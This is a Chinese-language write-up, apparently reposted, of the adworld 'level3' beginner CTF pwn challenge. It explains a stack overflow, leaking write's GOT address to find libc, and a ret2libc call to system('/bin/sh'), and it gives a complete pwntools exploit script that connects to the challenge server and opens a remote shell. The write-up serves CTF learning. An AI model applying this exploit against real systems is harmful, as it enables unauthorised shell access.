WriteUp-adworld(攻防世界)-pwn新手區-level3


0xFF 解開壓縮包……

3個嵌套壓縮包解開后出來兩個文件:
level3
libc_32.so.6

0x00 查詢文件基本信息

checksec 發現 : 這是個三無軟件……

好…… 我們丟下DIE:

32位程序……
沒有殼……可以上IDA。

0x01 靜態分析

看到main

跟進vulnerable_function

程序邏輯簡單明了……

0x02 攻擊思路

看到read可以進行棧溢出攻擊……

考慮劫持eip執行system("/bin/sh")……

等等,這個程序里既沒有調用system又沒有"/bin/sh"字符串。

但是這個程序加載了一個共享庫: libc_32.so.6

0x03 分析共享庫 : libc_32.so.6

找到system()

找到"/bin/sh"
使用010Editor搜索

("/bin/sh"后面剛好有個0x00)
"/bin/sh" 相對libc_32.so.6
文件頭的偏移為 0x15902B (IDA相應地方是代碼qwq……)

system 相對libc_32.so.6
文件頭的偏移為 0x3A940

所以我們只要想辦法知道 libc_32.so.6 的地址
我們就可以成功獲取shell……

0x04 泄露 libc_32.so.6 的地址

write 是 level3
調用的外部(共享庫中的)函數。

我們可以嘗試泄露 level3 GOT 表中的內容來
獲取 write 在共享庫中的地址。

GOT中 write 對應的條目 在第一次調用 write 函數時會被動態鏈接器改為
write 的絕對地址

/*操作系統-Linux-淺析GOT與PLT */

可以嘗試利用棧溢出來調用write(劫持eipwrite)

/需要的eip位置/

我們write泄露出地址之后還不夠,還要通過這個地址調用 system()
才行。
所以我們可以把返回的地址(call的時候eip入棧)
回到vulnerable_function的開頭,這樣我們就可以在泄露write之后
調用system()

所以我們可以這樣
根據vulnerable_function的棧

這樣構造payload泄露write

from pwn import *


write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xa5c0ffee) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       調用write后返回的地址

write_got_addr = p32(0x0804A018)

leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xa5c0ffee)
# write 的參數傳遞     1:stdout   指針指向write的got條目  輸出的長度

得到write的地址后就可以根據write在libc_32.so.6中的地址計算出
libc_32.so.6的基址,接着就可以計算出system()"/bin/sh"的絕對地址了。

接着我們就可以生成第二次攻擊的payload:

write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib


pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(隨便填qwq)      傳入"/bin/sh" 當作參數

現在就可以寫出完整的exp了:

#coding=utf-8
#文件里有中文注釋,要指定編碼

from pwn import *

qwq = remote("111.198.29.45", 7777)
#                    ip       port

write_got_addr = p32(0x0804A018)
write_addr_in_level3 = p32(0x08048340)
vulnerable_function_addr = p32(0x0804844B)

leak_write_payload1 = "w"*0x88 + p32(0xACC0FFEE) + write_addr_in_level3 + vulnerable_function_addr
#                     padding      ebp             劫持eip要到的位置       調用write后返回的地址
leak_write_payload2 = p32(1)  +  write_got_addr  +  p32(0xACC0FFEE)
# write 的參數傳遞     1:stdout   指針指向write的got條目  輸出的長度

leak_write_payload = leak_write_payload1 + leak_write_payload2


def get_write_addr():
	qwq.recvline()
	qwq.sendline(leak_write_payload)
	addr = qwq.recv()[0:4]
	return u32(addr)


write_addr_in_lib = get_write_addr()
write_offset_in_lib = 0x000D43C0

lib_addr = write_addr_in_lib - write_offset_in_lib

binsh_offset_in_lib = 0x15902B 
binsh_addr_in_lib = lib_addr + binsh_offset_in_lib

system_offset_in_lib = 0x3A940
system_addr_in_lib = lib_addr + system_offset_in_lib

pwn_payload = "w"*0x88  + p32(0xACC0FFEE) + p32(system_addr_in_lib)  + p32(0xACC0FFEE)      +      p32(binsh_addr_in_lib)
#             padding      ebp             劫持eip要到的位置 (system)     返回的地址(隨便填qwq)      傳入"/bin/sh" 當作參數

qwq.recvline()
qwq.sendline(pwn_payload)
qwq.interactive()

看看效果:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM